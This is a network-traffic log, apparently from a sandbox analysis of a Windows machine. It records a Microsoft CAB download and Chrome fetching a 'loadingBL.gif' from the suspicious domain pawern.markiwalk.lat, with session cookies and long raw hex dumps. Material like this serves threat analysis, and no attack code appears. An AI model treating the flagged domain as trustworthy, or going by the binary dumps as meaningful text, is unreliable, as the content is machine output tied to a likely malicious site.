2024-10-03 16:18:55 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 76959507-fe3e-4e45-862d-b15e809e32de MS-RequestId: 6aa2ecf9-c97f-41f6-b569-93b2fbc54743 MS-CV: zFUxy4A2+0Km+LkA.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 03 Oct 2024 16:18:54 GMT Connection: close Content-Length: 30005
2024-10-03 16:18:55 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-03 16:18:55 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49800	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:23 UTC	1178	OUT	GET /master/us217/loadingBL.gif HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd; cf_clearance=Mu6XuA0a7g3Dzr0CytgV_brTVeqix8KITnc_8YvK_U0-1727972297-1.2.1.1-Mdk5bwj8d9aPgWIaWdtro12oPbLU_AZB2sjyV4o5veq9FKJtZAHhXoF__TH4InBB9bPCHcLrbWgvTJzpIUtm0mEOqotpsBiCoVko5xYyb7uSqKwEa54kDKKf7cK7HXsItT1_t2V9E42MuNBGQdB9pDkKFCXviurLpPrY8qizKTeaIuS79sd8_ybSLbFICrScZp7NRcaERJjELZTcYJ.J53LlmCfSi_KX.p.8tJaJEBx73YLnBlzjjETenTwxYXxvKnpZsTdbGv2B99nu8ZHUEPm26NH4sqSQ6IOBZzR0GThHo41V1KWNmF.OLMY5g45I64DE7wSEIhjPI0rRiwZQZJ_0UR9lv2mB4GRP3vqxFW86dQvR3i20jUA_zFIuehJg
2024-10-03 16:19:23 UTC	811	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:23 GMT Content-Type: image/gif Content-Length: 88139 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:28:31 GMT last-modified: Thu, 05 Sep 2024 16:49:32 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3052 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M5FkQy6Qj9B%2Fwt8DsMnrni%2F2sdUmL%2Bt6iXGiOCBPvEPDKDCgVApw3Yx9l5NqT%2Fs9U0HfNx3qUf7ZKStN1aF%2FH2qkajVFV79yuom7WhdHCnC4NBDYW3wg4KkvN5Px%2FM%2Bnpw2%2BvHQ6Tg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce40e7fd658c33-EWR
2024-10-03 16:19:23 UTC	558	IN	Data Raw: 47 49 46 38 39 61 b8 00 b6 00 f7 00 00 ff ff ff fd fb fd fe fd fe fd fc fd f6 f4 f8 f5 f3 f7 fc fb fd fa f9 fb eb e8 f1 f2 f0 f6 f7 f6 fa f4 f3 f7 ea e8 f1 e7 e5 ef f5 f4 f9 f3 f2 f7 f2 f1 f6 f0 ef f4 5c 53 8e 68 60 94 82 7b a9 ea e9 ef 36 2b 82 39 2d 82 3b 30 82 3e 33 81 3f 35 80 40 37 7e 43 39 81 44 3b 80 49 3f 83 47 3e 80 4d 44 82 50 47 87 54 4b 8d 58 50 89 60 58 94 66 5e 9a 72 6a a4 71 6a 9c 7d 75 ac 76 6f a1 87 80 b2 91 8b b9 ee ed f4 ed ec f3 ea e9 f0 9d 98 c1 ea e9 f2 e8 e7 f0 a6 a3 c9 e5 e4 ef e8 e7 f1 e7 e6 f0 e5 e4 ee 30 2b 77 ae ac ce b5 b4 d3 c2 c1 da e1 e1 ed e3 e3 ee e6 e6 f0 e5 e5 ef e7 e7 ef e6 e6 ee ef ef f5 ea ea f0 e8 e8 ee f3 f3 f8 f1 f1 f6 ec ec f1 f1 f1 f5 ec ec f0 f8 f8 fb f7 f7 fa f4 f4 f7 f6 f6 f8 fd fd fe bb bc d7 28 2c 69 c7 c8 Data Ascii: GIF89a\Sh`{6+9-;0>3?5@7~C9D;I?G>MDPGTKXP`Xf^rjqj}uvo0+w(,i
2024-10-03 16:19:23 UTC	1369	IN	Data Raw: eb ea f9 ea e9 f8 e9 f5 fe f5 f7 ff f7 fa ff fa fd ff fd ad ed ab e4 fb e3 ea fc e9 b9 f5 b5 e2 fd e0 e7 fc e5 e9 fb e7 e8 fa e6 f2 fc f1 43 e1 2d 66 d7 56 73 d9 65 84 e7 77 8b e1 80 a1 f3 96 b3 fc a9 bb fd b2 c4 fe bc d0 ff ca da ff d5 e1 fe dd e5 fd e2 eb fa e9 ea f9 e8 e9 f8 e7 43 e1 2b 45 e0 2b 45 e0 2d 47 e0 2d 47 df 2f 48 df 31 4b de 35 50 db 3b 59 d8 46 5c e0 49 7c de 6e 96 ec 89 ac f9 a1 a8 ee 9e cb ff c3 d6 ff d0 de ff d9 ee fb ec ea f7 e8 ed f9 eb f4 fb f3 f0 fa ee f8 fd f7 e9 fb e5 eb fa e7 ed fa e9 f6 fe f3 fd ff fb fe fe fc fe fe fe fd fd fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 05 03 00 01 00 2c 00 00 00 00 Data Ascii: C-fVsewC+E+E-G-G/H1K5P;YF\I\|n!NETSCAPE2.0!,
2024-10-03 16:19:23 UTC	1369	IN	Data Raw: 6c 42 dc a2 ca b8 77 02 3b 2e f1 3b 4d a4 53 16 9c 60 43 b6 9d 71 05 5e 4c 98 0e 19 d2 9a 7f 45 41 07 49 8b 62 15 98 77 48 26 36 2c 90 14 c2 97 27 13 f9 49 d8 b0 ef 20 ee 2b 65 76 0a a6 4a 87 bd b1 95 98 a3 24 29 61 69 1a 56 d2 b2 93 27 bc a5 09 5f a9 4b 37 be ca 8f bd 54 0f bc 52 19 cc ed 40 48 5f c5 24 18 45 f0 94 4c ed 68 6b 96 cd a4 cb 33 a1 19 4d f6 44 8b 9a d5 24 8b b8 78 99 4d e8 84 e9 4c dd 74 66 af b0 d9 4c 63 91 33 9a 18 03 67 38 91 43 2b 65 ad d3 37 71 42 e6 3b 8d e9 29 79 ce 73 3f 1d 39 67 2f ed d4 ff 25 3e de 13 30 98 72 80 3e 69 29 ca 7e fe 13 9f 1f a1 d4 40 4b f9 4d 51 2d f4 93 01 cd d4 43 15 c6 4f 87 1e 34 40 77 fa db 3d db e9 28 8d be 33 a2 a8 b4 e7 45 5d 00 52 44 8e 94 4f 15 fd 65 3e 89 49 d0 92 8e f2 a4 b9 39 a5 a2 26 3a ad 6a b1 44 a1 Data Ascii: lBw;.;MS`Cq^LEAIbwH&6,'I +evJ$)aiV'_K7TR@H_$ELhk3MD$xMLtfLc3g8C+e7qB;)ys?9g/%>0r>i)~@KMQ-CO4@w=(3E]RDOe>I9&:jD
2024-10-03 16:19:23 UTC	1369	IN	Data Raw: 6f b0 77 e6 cb 33 4f 39 58 b0 f3 6d 50 e6 18 9c bd b8 da 18 48 1f 7a 00 12 40 11 aa 0e 1d 30 af 3b f1 1a 1c ed 1f f4 10 6b 5f f6 72 54 54 7d 10 d6 9a b3 6b 29 03 57 88 a0 fe 6f 06 e5 00 82 42 d4 17 2d 50 ed b1 9b 5e f9 a8 a0 2e 4b 05 8f 7f dc 93 9b 5f aa 50 b5 fb 85 8e 77 08 41 c1 cb 0e 56 39 b3 bd 8f 7a 2f e0 dc d1 3c 37 3e 82 8c ae 80 0b dc 1b e6 3a 10 2a 1e c4 4c 02 6c 23 1b cb 56 f0 33 1b 6c 86 37 e0 23 5c 41 de 96 b8 af 61 4c 84 b2 73 5d e5 a4 a0 03 cf b1 ed 03 13 78 81 e2 ff c0 13 05 b1 c9 90 7a 6d 9b 80 c7 16 b7 bd e9 09 c4 09 20 dc e1 c9 72 b0 02 14 98 40 05 32 50 60 75 ea 92 05 aa 85 ef 87 ab d3 a2 41 d2 97 c3 a3 45 f1 5e 9f 91 5f ed d8 35 aa 6d dd ad 0a 2b 38 c1 08 e6 48 01 99 b1 71 71 00 74 22 d3 7c c6 35 34 12 ac 40 22 6b a3 c9 be c5 30 2a f8 Data Ascii: ow3O9XmPHz@0;k_rTT}k)WoB-P^.K_PwAV9z/<7>:Ll#V3l7#\AaLs]xzm r@2P`uAE^_5m+8Hqqt"\|54@"k0
2024-10-03 16:19:23 UTC	1369	IN	Data Raw: dc be 79 2a 14 4e 40 e1 ea a3 64 ae 96 28 0a ba 8a 3b 50 b8 17 78 a0 03 0f 05 01 3a ed b8 fc 62 3b c2 b6 fc 8d 46 ab 0c 9e 82 f0 29 05 13 fb f5 5f 5e 55 84 c0 50 07 2b d8 bb e9 b7 fd 1a 44 ee 0b 5e 02 e6 44 0a d4 82 7b ec 0a 57 c0 ea 9e 60 19 8b f9 97 bb 19 c4 8c ed ae be 56 2c 10 15 f9 5e 3b ae b8 18 78 c0 73 c2 a1 f1 c9 c1 41 18 5b db a6 b4 1f ec 9a 10 bc e7 da 4b 41 07 58 5b 0b 42 0e 06 ee 87 36 d8 0f 63 2c 50 0a 92 ea 95 43 d7 41 c7 7a 29 a2 44 d7 dd 76 0a f4 9e ff 1c 40 ca 5e 13 f4 74 bf 2d 1b 04 c5 ca 01 cc 9b ee 5f 2b 90 fd f5 ae 87 fb 9d 78 c3 6d f7 2b b1 9e a2 5d 71 02 07 7a 3f fc 2f bd a5 9a a0 ef 42 1f e0 90 f6 0e 44 7f ad 78 dc fb c9 80 ab e0 19 67 5b 85 cf 1b a2 7c f1 be 59 77 30 c1 e1 1e 5b 8a 32 c3 a3 5b 0b 71 06 67 4f 7a 10 0a 88 9b fe 63 Data Ascii: y*N@d(;Px:b;F)_^UP+D^D{W`V,^;xsA[KAX[B6c,PCAz)Dv@^t-_+xm+]qz?/BDxg[\|Yw0[2[qgOzc
2024-10-03 16:19:23 UTC	1369	IN	Data Raw: 05 6b 65 1c ba 74 00 ae 4f 41 9b ae 9c 9a c5 6a c9 8e 5f 6b 1c bd d4 b0 ec 8c b4 7d ca 9d 7b 3b 65 da cb 22 77 f7 76 d9 56 ed 6f be b1 87 fb 06 6d 3b 78 72 e5 be 07 36 1f f9 7c 60 58 e8 20 17 08 3c 6e 52 a2 82 83 d7 b1 6f ff 9c 81 fa 7b 75 e4 aa c5 93 44 cd 76 7a 76 d2 89 d5 8f 2c 9b 84 34 ca f8 f2 1b 3b c8 cf d2 c1 79 8f 38 e1 c7 5f 49 2d 18 70 df 80 f7 41 66 52 59 b9 21 e8 11 6d 02 5a 85 5a 83 0e 56 36 61 84 15 66 a8 e1 86 fc b9 c7 a1 52 1e 7e 98 95 88 52 b1 47 e2 53 26 9e a8 e2 8a 2c 52 95 80 81 15 11 d1 62 7f 18 d9 30 a3 4a 0a de 18 54 8a 3a 8e 68 11 56 3d 12 b8 19 45 45 b8 00 64 90 f3 f1 48 a4 92 48 ce 86 21 43 14 36 39 de 93 74 49 f9 d2 73 21 5a 49 5d 75 4a 9c a6 e5 49 5f 75 79 18 95 5f 5a 88 54 99 60 9e 89 26 81 6a ae 39 df 63 64 ba 89 9b 9c 74 d6 Data Ascii: ketOAj_k}{;e"wvVom;xr6\|`X <nRo{uDvzv,4;y8_I-pAfRY!mZZV6afR~RGS&,Rb0JT:hV=EEdHH!C69tIs!ZI]uJI_uy_ZT`&j9cdt
2024-10-03 16:19:23 UTC	1369	IN	Data Raw: e3 ca 9d 4b b7 6e cf ae 76 e9 e2 cd cb b7 af df bf 80 03 0b 1e 4c b8 b0 e1 c3 88 13 83 95 29 70 af e2 8a 0e 67 86 0d e0 f8 31 c5 c9 26 23 0f 64 3c 30 46 0c cb 90 09 6a 16 39 fa a0 67 d0 40 39 a3 5e cd ba b5 eb d7 b0 63 cb 9e 4d bb b6 ed db b8 99 1e cd fd 73 37 ef 9a 98 7f 03 17 4e bc b8 71 8b aa 8f b7 b4 a3 bc b9 f3 e7 d0 a3 4b 9f 4e bd ba 75 b8 c9 af 87 4e 58 5a fb 44 3b d9 0b ba ff a1 ec 5d 62 d7 f1 0c 1b 54 2e 8f 90 ab 79 f6 ef 23 ae 87 6f 3a 3e 7d 85 f3 0d aa bf bf 70 be 3c 79 fc 69 f4 df 7f 01 a6 46 60 81 17 0d 08 20 82 c8 2d 48 90 7b 0c 4e 95 df 83 13 06 08 a1 41 be 45 d8 d0 64 19 6a 88 90 01 98 29 21 d5 67 14 b9 d7 c0 54 ed 61 25 95 88 56 71 e5 62 89 59 c4 38 11 03 2a 1a e7 e2 8d 33 98 07 45 00 2b f0 98 03 65 39 ce 58 21 6c 2f ee 10 05 79 41 e2 c7 Data Ascii: KnvL)pg1&#d<0Fj9g@9^cMs7NqKNuNXZD;]bT.y#o:>}p<yiF` -H{NAEdj)!gTa%VqbY8*3E+e9X!l/yA
2024-10-03 16:19:23 UTC	1369	IN	Data Raw: 04 05 03 00 00 00 2c 3b 00 4f 00 49 00 1c 00 00 07 ff 80 35 82 83 84 85 86 87 34 33 8a 88 8c 8d 8e 8f 90 90 3b 8b 91 95 96 97 83 59 57 9b 51 93 0c 98 9d a0 a2 99 57 38 14 27 a8 2b 3a a1 92 3a 32 2f 2f 39 55 ac 98 9f b6 92 39 25 1e 1c bc bc 21 2b b3 b7 87 59 4e 26 bb bd 22 c0 b4 92 9a cb 8e 39 23 19 17 16 d4 d5 1d 29 57 94 87 32 d1 d3 d6 d7 50 9e b8 2b 28 e5 32 54 ce 85 54 12 d2 de d6 18 1f ca 31 db 20 ed d5 d6 25 c1 8f 50 14 f5 ed 1f 13 ce 89 53 b7 62 c3 bb 83 20 56 cd 53 37 41 c3 bd 87 d4 5e a4 2b a4 83 9d 3d 78 1a e2 65 5b 48 aa 1b c4 77 c0 84 7d c2 f1 e1 e2 c7 09 1b 19 ad 73 f8 11 9e c4 43 4e fc b5 ac 66 02 8b c8 28 2a 58 ce cc 90 70 22 83 2c 05 31 ec 94 80 ce 10 49 93 27 b3 b8 10 96 c5 98 d0 9d 1f 64 f8 bc 62 11 aa d4 81 51 a0 21 85 98 6f 69 21 a7 3b Data Ascii: ,;OI543;YWQW8'+::2//9U9%!+YN&"9#)W2P+(2TT1 %PSb VS7A^+=xe[Hw}sCNf(*Xp",1I'dbQ!oi!;
2024-10-03 16:19:23 UTC	1369	IN	Data Raw: 4b 32 f9 fb 8e 19 b9 58 37 72 e4 11 4f a3 85 c5 b6 af e6 f1 c6 61 cf e2 fe 21 01 cf 3f 95 f8 fb 9f 00 07 48 c0 02 22 84 2f f4 53 11 04 5e 43 22 14 11 d0 01 0c 34 20 46 5a 90 c0 ff c9 43 31 24 93 60 63 30 38 90 0a 6a b0 80 f9 f9 a0 67 44 48 c2 12 9a f0 84 28 4c a1 0a 57 c8 c2 16 1a c5 83 fc 43 20 09 65 28 c2 0b b6 ad 86 1c 34 00 e8 3e 78 97 00 12 f0 7d 2e 0c a2 10 61 87 48 c4 22 d6 85 83 46 4c a2 12 97 c8 c4 26 3a f1 89 50 8c a2 14 a7 48 c5 2a 4e d1 3e 61 01 a2 52 ee a2 9a b4 68 71 29 1f 0a a1 06 c3 88 42 32 9e d0 8c 33 8c 0f 16 2d a8 46 31 4a f1 8b fd f3 a1 72 e0 08 12 3a 5a f1 8e 78 cc a3 1e 95 58 13 15 ae 71 8f 80 0c a4 20 73 f2 47 86 b8 11 29 01 01 00 21 f9 04 05 03 00 01 00 2c 04 00 0f 00 ab 00 79 00 00 07 ff 80 01 82 83 84 85 86 87 88 89 01 4d 8a 8d Data Ascii: K2X7rOa!?H"/S^C"4 FZC1$`c08jgDH(LWC e(4>x}.aH"FL&:PH*N>aRhq)B23-F1Jr:ZxXq sG)!,yM
2024-10-03 16:19:23 UTC	1369	IN	Data Raw: f2 90 d4 52 12 ff 3a 42 05 10 b2 2c 24 93 26 9e ba cd a0 15 2b 02 00 12 10 59 f8 0a 2e 6c a4 4c f9 10 91 f0 d4 56 d3 04 66 69 15 0d 16 2c 8a 60 bd 44 89 f7 61 28 e1 68 27 62 41 0e 7d 69 ed 56 99 11 14 63 9f 35 a0 40 85 63 a9 66 a0 fd d0 b5 5e 7b 38 4b d7 c9 92 3f 18 b6 a8 6d e6 3e 9a e2 3c 96 eb e0 53 32 85 6a a2 76 e0 38 46 f8 a7 f3 c7 03 49 45 1e 45 cc 18 c3 65 58 07 3d 52 0a 14 d2 4d 55 59 54 2c 1c 4c de 64 88 1c bf f4 4e 37 cd 4e 45 2d 28 7a 09 61 71 7a 0f 73 06 12 72 75 8a cf 90 af fc 08 8e e8 14 64 d1 50 1f 55 91 c2 6f 89 9c 47 a0 76 be c8 50 02 37 c9 a0 20 0f 83 87 11 14 0d 54 6a c1 72 1b 55 21 dc 24 dc 3f d3 60 24 43 0e 54 80 71 4d 2b d0 fc 03 0d 15 2b 88 e0 d5 49 e8 b9 12 a0 2f bb a4 83 8a 8a 03 06 84 c3 2c b6 5c 41 9b 58 2d d9 f8 8c 7a ab a0 38 Data Ascii: R:B,$&+Y.lLVfi,`Da(h'bA}iVc5@cf^{8K?m><S2jv8FIEEeX=RMUYT,LdN7NE-(zaqzsrudPUoGvP7 TjrU!$?`$CTqM++I/,\AX-z8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	49801	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:24 UTC	422	OUT	GET /master/us217/loadingBL.gif HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:19:24 UTC	803	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:24 GMT Content-Type: image/gif Content-Length: 88139 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:28:31 GMT last-modified: Thu, 05 Sep 2024 16:49:32 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3053 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dd0zDJUOJtQZbTRaC6YpeK8KCfx4s1qMK1eOUmCbe5sNvRnC6rXfOXo%2B6djdWG6N0422iFbQ%2BvTw956BbHloMjLAd6mTySaijmB3WSWLiQIWgND4qwf2HiEu%2FEac1fuoKLT5%2BVocjA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce40ed3d78c335-EWR
2024-10-03 16:19:24 UTC	566	IN	Data Raw: 47 49 46 38 39 61 b8 00 b6 00 f7 00 00 ff ff ff fd fb fd fe fd fe fd fc fd f6 f4 f8 f5 f3 f7 fc fb fd fa f9 fb eb e8 f1 f2 f0 f6 f7 f6 fa f4 f3 f7 ea e8 f1 e7 e5 ef f5 f4 f9 f3 f2 f7 f2 f1 f6 f0 ef f4 5c 53 8e 68 60 94 82 7b a9 ea e9 ef 36 2b 82 39 2d 82 3b 30 82 3e 33 81 3f 35 80 40 37 7e 43 39 81 44 3b 80 49 3f 83 47 3e 80 4d 44 82 50 47 87 54 4b 8d 58 50 89 60 58 94 66 5e 9a 72 6a a4 71 6a 9c 7d 75 ac 76 6f a1 87 80 b2 91 8b b9 ee ed f4 ed ec f3 ea e9 f0 9d 98 c1 ea e9 f2 e8 e7 f0 a6 a3 c9 e5 e4 ef e8 e7 f1 e7 e6 f0 e5 e4 ee 30 2b 77 ae ac ce b5 b4 d3 c2 c1 da e1 e1 ed e3 e3 ee e6 e6 f0 e5 e5 ef e7 e7 ef e6 e6 ee ef ef f5 ea ea f0 e8 e8 ee f3 f3 f8 f1 f1 f6 ec ec f1 f1 f1 f5 ec ec f0 f8 f8 fb f7 f7 fa f4 f4 f7 f6 f6 f8 fd fd fe bb bc d7 28 2c 69 c7 c8 Data Ascii: GIF89a\Sh`{6+9-;0>3?5@7~C9D;I?G>MDPGTKXP`Xf^rjqj}uvo0+w(,i
2024-10-03 16:19:24 UTC	1369	IN	Data Raw: fe f5 f7 ff f7 fa ff fa fd ff fd ad ed ab e4 fb e3 ea fc e9 b9 f5 b5 e2 fd e0 e7 fc e5 e9 fb e7 e8 fa e6 f2 fc f1 43 e1 2d 66 d7 56 73 d9 65 84 e7 77 8b e1 80 a1 f3 96 b3 fc a9 bb fd b2 c4 fe bc d0 ff ca da ff d5 e1 fe dd e5 fd e2 eb fa e9 ea f9 e8 e9 f8 e7 43 e1 2b 45 e0 2b 45 e0 2d 47 e0 2d 47 df 2f 48 df 31 4b de 35 50 db 3b 59 d8 46 5c e0 49 7c de 6e 96 ec 89 ac f9 a1 a8 ee 9e cb ff c3 d6 ff d0 de ff d9 ee fb ec ea f7 e8 ed f9 eb f4 fb f3 f0 fa ee f8 fd f7 e9 fb e5 eb fa e7 ed fa e9 f6 fe f3 fd ff fb fe fe fc fe fe fe fd fd fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 05 03 00 01 00 2c 00 00 00 00 b8 00 b6 00 00 08 ff 00 Data Ascii: C-fVsewC+E+E-G-G/H1K5P;YF\I\|n!NETSCAPE2.0!,
2024-10-03 16:19:24 UTC	1369	IN	Data Raw: 3b 2e f1 3b 4d a4 53 16 9c 60 43 b6 9d 71 05 5e 4c 98 0e 19 d2 9a 7f 45 41 07 49 8b 62 15 98 77 48 26 36 2c 90 14 c2 97 27 13 f9 49 d8 b0 ef 20 ee 2b 65 76 0a a6 4a 87 bd b1 95 98 a3 24 29 61 69 1a 56 d2 b2 93 27 bc a5 09 5f a9 4b 37 be ca 8f bd 54 0f bc 52 19 cc ed 40 48 5f c5 24 18 45 f0 94 4c ed 68 6b 96 cd a4 cb 33 a1 19 4d f6 44 8b 9a d5 24 8b b8 78 99 4d e8 84 e9 4c dd 74 66 af b0 d9 4c 63 91 33 9a 18 03 67 38 91 43 2b 65 ad d3 37 71 42 e6 3b 8d e9 29 79 ce 73 3f 1d 39 67 2f ed d4 ff 25 3e de 13 30 98 72 80 3e 69 29 ca 7e fe 13 9f 1f a1 d4 40 4b f9 4d 51 2d f4 93 01 cd d4 43 15 c6 4f 87 1e 34 40 77 fa db 3d db e9 28 8d be 33 a2 a8 b4 e7 45 5d 00 52 44 8e 94 4f 15 fd 65 3e 89 49 d0 92 8e f2 a4 b9 39 a5 a2 26 3a ad 6a b1 44 a1 30 75 a9 2c 25 f9 51 01 Data Ascii: ;.;MS`Cq^LEAIbwH&6,'I +evJ$)aiV'_K7TR@H_$ELhk3MD$xMLtfLc3g8C+e7qB;)ys?9g/%>0r>i)~@KMQ-CO4@w=(3E]RDOe>I9&:jD0u,%Q
2024-10-03 16:19:24 UTC	1369	IN	Data Raw: 58 b0 f3 6d 50 e6 18 9c bd b8 da 18 48 1f 7a 00 12 40 11 aa 0e 1d 30 af 3b f1 1a 1c ed 1f f4 10 6b 5f f6 72 54 54 7d 10 d6 9a b3 6b 29 03 57 88 a0 fe 6f 06 e5 00 82 42 d4 17 2d 50 ed b1 9b 5e f9 a8 a0 2e 4b 05 8f 7f dc 93 9b 5f aa 50 b5 fb 85 8e 77 08 41 c1 cb 0e 56 39 b3 bd 8f 7a 2f e0 dc d1 3c 37 3e 82 8c ae 80 0b dc 1b e6 3a 10 2a 1e c4 4c 02 6c 23 1b cb 56 f0 33 1b 6c 86 37 e0 23 5c 41 de 96 b8 af 61 4c 84 b2 73 5d e5 a4 a0 03 cf b1 ed 03 13 78 81 e2 ff c0 13 05 b1 c9 90 7a 6d 9b 80 c7 16 b7 bd e9 09 c4 09 20 dc e1 c9 72 b0 02 14 98 40 05 32 50 60 75 ea 92 05 aa 85 ef 87 ab d3 a2 41 d2 97 c3 a3 45 f1 5e 9f 91 5f ed d8 35 aa 6d dd ad 0a 2b 38 c1 08 e6 48 01 99 b1 71 71 00 74 22 d3 7c c6 35 34 12 ac 40 22 6b a3 c9 be c5 30 2a f8 cb 77 77 e3 93 0e 70 17 Data Ascii: XmPHz@0;k_rTT}k)WoB-P^.K_PwAV9z/<7>:Ll#V3l7#\AaLs]xzm r@2P`uAE^_5m+8Hqqt"\|54@"k0wwp
2024-10-03 16:19:24 UTC	1369	IN	Data Raw: ea a3 64 ae 96 28 0a ba 8a 3b 50 b8 17 78 a0 03 0f 05 01 3a ed b8 fc 62 3b c2 b6 fc 8d 46 ab 0c 9e 82 f0 29 05 13 fb f5 5f 5e 55 84 c0 50 07 2b d8 bb e9 b7 fd 1a 44 ee 0b 5e 02 e6 44 0a d4 82 7b ec 0a 57 c0 ea 9e 60 19 8b f9 97 bb 19 c4 8c ed ae be 56 2c 10 15 f9 5e 3b ae b8 18 78 c0 73 c2 a1 f1 c9 c1 41 18 5b db a6 b4 1f ec 9a 10 bc e7 da 4b 41 07 58 5b 0b 42 0e 06 ee 87 36 d8 0f 63 2c 50 0a 92 ea 95 43 d7 41 c7 7a 29 a2 44 d7 dd 76 0a f4 9e ff 1c 40 ca 5e 13 f4 74 bf 2d 1b 04 c5 ca 01 cc 9b ee 5f 2b 90 fd f5 ae 87 fb 9d 78 c3 6d f7 2b b1 9e a2 5d 71 02 07 7a 3f fc 2f bd a5 9a a0 ef 42 1f e0 90 f6 0e 44 7f ad 78 dc fb c9 80 ab e0 19 67 5b 85 